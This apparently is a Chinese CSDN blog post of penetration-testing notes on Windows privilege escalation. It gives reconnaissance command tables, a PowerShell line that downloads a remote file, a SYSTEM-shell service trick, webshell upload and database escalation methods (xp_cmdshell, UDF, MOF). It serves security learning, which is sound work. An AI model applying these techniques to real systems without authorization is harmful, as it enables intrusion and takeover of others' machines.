Windows权限

最新推荐文章于 2023-07-17 22:27:58 发布
最新推荐文章于 2023-07-17 22:27:58 发布
阅读量699 收藏
点赞数
分类专栏： 计算机
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/niqiu320/article/details/116998329
版权

0x00 网页编辑器

这里所说的编辑器是说的在线的web编辑器，顾名思义，在线编辑器是一种通过浏览器等来对文字、图片等内容进行在线编辑修改的工具。
如：UEDITOR(百度)、eWebEdit、FCKeditor、CKEditor(新版fck)、Kindeditor、DotNetTexBox、CuteEditor等等

0x01 windows权限

提权分类：
提权可分为纵向提权与横向提权
纵向提权：低权限角色获得高权限角色的权限；
横向提权：获取同级别角色的权限。

脚本权限：
通常来说，不同的脚本所处的权限是不一样的。这就意味着，如果该站点支持权限更高的脚本，我们可以上传该权限更高的脚本的大马，进而拿到更高的权限。
asp/php 通常为匿名权限(网络服务权限)
aspx 通常为user权限
jsp 通常为系统权限

Windows系统权限：
在Windows系统中，权限大概分为三种，分别是：
system： 中文意思是系统，在Windows中拥有比管理员更大的权限，在Windows中主要作为系统服务或进程的运行账户，保证系统服务的正常运行；
administrator： 中文意思就是“系统管理员”。即所谓的“超级用户”。每台电脑装上系统后，在你自己新建的账户外，会自动新建一个叫administrator 的管理计算机(域)的内置账户，它平时是隐藏的，它是计算机管理员的意思，是拥有计算机管理的最高权限；
user： 隶属于users组，这个组的用户无法进行有意或无意的改动，因此，用户可以运行经过验证的应用程序，但不可以运行大多数旧版应用程序，users组是最安全的组，因为分配给改组的默认权限不允许成员修改操作系统的设置或用户资料；users可以创建本地组，但只能修改自己创建的本地组。users可以关闭工作站，但不能关闭服务器。admin,system包含所有user的权限。

提权过程: user -> admin -> system

0x02 Windows信息收集

重点信息收集
1.用户权限
2.补丁信息
3.防火墙配置
4.杀软
5.远程端口
6.启动的服务

命令	                                描述

systeminfo           	                打印系统信息
whoami	                                获得当前用户名
whoami /priv	                        当前帐户权限
ipconfig	                            网络配置信息
ipconfig /displaydns	                显示DNS缓存
route print	                            打印出路由表
arp -a	                                打印arp表
hostname	                            主机名
net user	                            列出用户
net user UserName	                    关于用户的信息
net use \SMBPATH Pa$$w0rd /u:UserName	连接SMB
net localgroup	                        列出所有组
net localgroup GROUP		            关于指定组的信息
net view \127.0.0.1		                会话打开到当前计算机
net session	              		        开放给其他机器
netsh firewall show config		        显示防火墙配置
DRIVERQUERY	              	         	列出安装的驱动
tasklist /svc	              		    列出服务任务
net start	                            列出启动的服务
dir /s foo	                            在目录中搜索包含指定字符的项目
dir /s foo == bar	              		同上
sc query	                            列出所有服务
sc qc ServiceName	                	找到指定服务的路径
shutdown /r /t 0	              		立即重启
type file.txt	              	    	打印出内容
icacls “C:\Example”		                列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn	
                                        列出已安装的补丁
(New-Object System.Net.WebClient).DownloadFile(“http://host/file”,”C:\LocalPath”)	
                                        利用ps远程下载文件到本地
accesschk.exe -qwsu “Group”	            修改对象（尝试Everyone，Authenticated Users和/或Users）

whomai /priv                  	    	#显示当前用户的安全特权
quser or query user    	            	#获取在线用户
netstat -ano | findstr 3389         	#获取rdp连接来源IP
dir c:\programdata\ 	            	#分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn  
                                        #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber    
                                        #获取远程端口
tasklist /svc | find "TermService" + netstat -ano  		
                                        #获取远程端口

收集补丁信息作用： 找到没有打补丁打那个编号，尝试通过ms系列提权

收集服务作用： 判断是否有可提权的服务或者杀软服务，不同杀软不同绕过方式

收集权限作用： 根据权限等级判断是否需要提权

收集网络配置信息： 可给后期横向扩展铺路

工作组：一组计算机的集合
域：一组有安全边界的计算机的集合

在这里插入图片描述

0x03 windows提权

Windows提权分类
1.系统溢出漏洞提权
2.第三方服务提权
3.数据库提权
4.本地提权

系统溢出漏洞提权
#手工查找补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

#MSF后渗透扫描
post/windows/gather/enum_patches

#Powershell扫描
Import-Module C:\Sherlock.ps1
Find-AllVulns

#补丁漏洞查找网站
https://github.com/ianxtianxt/win-exp-
https://github.com/SecWiki/windows-kernel-exploits

Psexec提权
#使用Psexec工具打开system权限的cmd窗口，其中：i 表示交互式，s表示system移动到这个目录下，方便直接打开

AT提权
系统调度任务的命令
at 14:53 /interactive cmd #以system的权限打开cmd，之后在此cmd打开的应用都是system的权限

窗口权限提权
在system权限的窗口中打开任务管理器（taskmgr）,然后结束桌面进程，创建一个新的桌面进程（explorer），以后在桌面中打开的cmd窗口都是以system权限运行的；

服务方式提权
采用服务的方式去提权，这是因为所有的服务都会默认以system账号去启动，所以借助这个思路，去创建一个服务（打开cmd的服务），之后启动这个服务，打开的cmd命令行窗口就是以system权限启动的；sc Create SuperCMD binpath= “cmd /k start” type= own type= interact
Sc start SuperCMD
Sc delete SuperCMD

注入进程提权
Pinjector找一个system运行的服务进程，把自己注入到进程里面，注入到进程里就和进程有同样的用户权限，也就是system

第三方服务提权

步骤：
1.信息收集阶段
2.收集软件的版本信息
3.收集软件目录端口信息
4.根据相关信息利用公开EXP提权
5.上传大马进行提权操作
6.针对不同软件有不同思路

1.FTP提权：
serv-u提权
G6-FTP提权
FileZilla提权
FlashFXP提权
PcAnywhere提权
Xlight FTP Server提权

2.远程软件提权：
VNC提权
Radmin hash提权漏洞

3.数据库提权

  1. Mysql提权
    • udf提权
    • 启动项提权
    • mof提权

  2. SQL Server提权
    • 利用xp_cmdshell提权
    • 使用sp_oacreate进行提权
    • 使用沙盒进行提权

  3. Oracle提权

4.本地提权

  1. 溢出提权
    A）远程溢出
    B）本地溢出
  2. Getpass提权
  3. hash传递入侵
  4. lpk提权
香芋320
关注
专栏目录
windows权限设置器
06-26
windows权限设置器 windows权限设置器
IIS 和 WEB 站点文件夹权限配置
热门推荐
CC's Blog
08-31 3万+
IIS 是微软的组件中漏洞最多的一个，平均两三个月就要出一个漏洞，而微软的 IIS 默认安装又实在不敢恭维。 首先在 D：根目录新建一个 wwwroot 文件夹，用来做为 WEB 服务器站点的根目录，里面存放不同网站的文件夹。例如新建第一个网站存放文件的目录 WebSite1，为了杜绝跨站攻击等各种相关安全问题，实现各个虚拟主机目录有独立权限的访问机制，我们要给每个目录分配一个匿名访问的用户帐号
IIS部署WCF的文件夹要加上IIS_USERS的权限
lovelyangel2008的博客
07-17 361
弯路1，文件夹没加权限报错： 报错如图： 弯路2：多网卡多IP，要设置固定IP。样式： http://192.168.1.4:8080/Service1.svc
奇怪的IIS user 账号 windows 服务器2008
cjq1234的专栏
03-22 5378
把一个php博客的目录挂在IIS上，但是IIS老说没有权限 真是非常奇怪，把Application pool的身份改成 LOCAL SYSTEM也不管用， 把IIS_IUSRS加到目录和文件的ACL上，也不管用 后来试了试 IUSR，加上去，行了，真的是很奇怪， 网上说的IIS_IUSRS是错的， 应该是 IUSR
关于IIS的IUSER和IWAM帐户
weixin_34151004的博客
05-09 523
USER是Internet 来宾帐户匿名访问 Internet 信息服务的内置帐户 IWAM是启动 IIS 进程帐户用于启动进程外的应用程序的 Internet 信息服务的内置帐户 (在白吃点就是启动Internet 信息服务的内置账户)     IWAM账号的名字会根据每台计算机NETBIOS名字的不同而有所不同，通用的格式是IWAM_MACHINE，即由“IWAM”前缀、连接线“_”加上计算机...
计算机基础第四篇—及标准用户访问IIS权限设置
Aurora的博客
01-05 2万+
IIS标准用户设置无权限访问IIS，无权限访问IIS文件夹，无权限访问数据库。 1.以此用户为例，建立一个标准用户test，设置密码m_1234。 2.用test用户登录访问iis的时候提示无权限，需要输入管理员用户和密码登录。 点击取消或×会展示iis管理器页面，但是无法进行操作。 2.设置test用户不能访问IIS文件夹，首先鼠标右键选择IIS属性，选择安全选项卡。
内网渗透之windows权限维持
07-18
【标题】"内网渗透之windows权限维持"揭示了网络安全领域的一个重要话题——在Windows操作系统环境中如何保持已获得的权限，以便进行深度的系统分析或恶意活动。这通常涉及到对系统内部工作原理的理解，以及利用特定...
THM Windows权限提升中滥用服务错误配置，不安全的服务权限
最新发布
04-23
本文将探讨一个重要的安全问题——“THM Windows权限提升中滥用服务错误配置，不安全的服务权限”。这一问题涉及到Windows系统中服务的安全配置，尤其是对SERVICE_ALL_ACCESS权限的滥用，可能导致系统被未经授权的...
windows 权限之拒绝运行应用程序
09-30
windows 权限之拒绝运行应用程序的解决方法。
WINDOWS权限解析.pdf
10-09
### Windows权限管理详解 #### 一、Windows权限概念与重要性 Windows权限管理是操作系统安全性和用户管理的核心组成部分。在Windows系统中，权限是指授予特定用户或用户组对文件、文件夹和其他系统资源的访问控制...
在windows桌面上部署网站
jhycjhyc的专栏
09-05 880
在桌面上部署网站（也就是将网站文件夹放在桌面上）可有效提高网站的安全性，因此除了管理员组成员外，没有人可以浏览网站文件夹中的内容，但按一般的在IIS中建网站的步骤建好网站后，访问时却出现如下错误，本文说明如何消除这些错误。
WINDOWS下的IIS服务器权限设置
03-19 1615
关键字：WINDOWS下,IIS服务器权限设置,server2003权限,ntfs文件夹权限前言:主要是基于WINDOWS下的IIS服务器权限设置这样的安全设置后只限于ASP脚本可以正常运行.正题:将X:/Inetpub删除或改名在做权限设置操作前先将隐藏文件恢复为可显示的状态系统盘权限设置c:鼠标右键[属性][安全][高级][权限]权限项目里给予[SYSTEM/管理员]完全控
关于Windows系统中文件夹的【特殊权限】
weixin_65232438的博客
05-20 1万+
在配置文件权限的时候，很多人都会看到权限中有一个特别的权限叫【特殊权限】
如何在WINDOWS7中配置IIS，使得用户能访问自建的网站
foxpan的专栏
06-14 893
选择你要访问的网站，单击鼠标右键选择  “编辑权限...”单击 "编辑"按钮，（注：红色椭圆里面的用户就是我们要配置的用户，不过初始状态下该用户并不在这个权限列表中。）单击 "添加" 按钮 (注：红色椭圆里面的用户就是我们要配置的用户，不过初始状态下该用户并不在这个权限列表中。)注意，如果你域用户，则要 点击 “位置(L)...” 按钮 选择本机用户选择 "高级
win7用户组与权限
不知道要什么,便什么都想要,最后什么都要不到
11-26 2468
WindowsXP用户组权限 system（系统组）：该组拥有系统中最高的权限，系统和系统级服务的运行都是依靠System赋予的权限(任务管理器很多进程由System开启的)。但是System组只有一个用户就是System，它不允许任何用户的加入，在察看用户组的时候也不会显示出来。 Everyone（所有人）组：该用户组较为特殊，以下的所有用户组都隶属于这个组，因此，以下的用户组也都拥
Windows组管理总结
柒烨~的博客
04-27 546
一组用户的集合：组中所有的用户，具备该组一样的权限（为了方便，把用户直接添加进组，用户就有该组所具备的权限，一个个的去设置用户权限很不简便）
windows权限设置
09-02
下面是一些常见的Windows权限设置方法： 1. 文件和文件夹权限设置： - 右键单击文件或文件夹，选择“属性”。 - 在属性窗口中，切换到“安全”选项卡。 - 在安全选项卡中，可以查看和修改权限设置。点击“编辑”...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值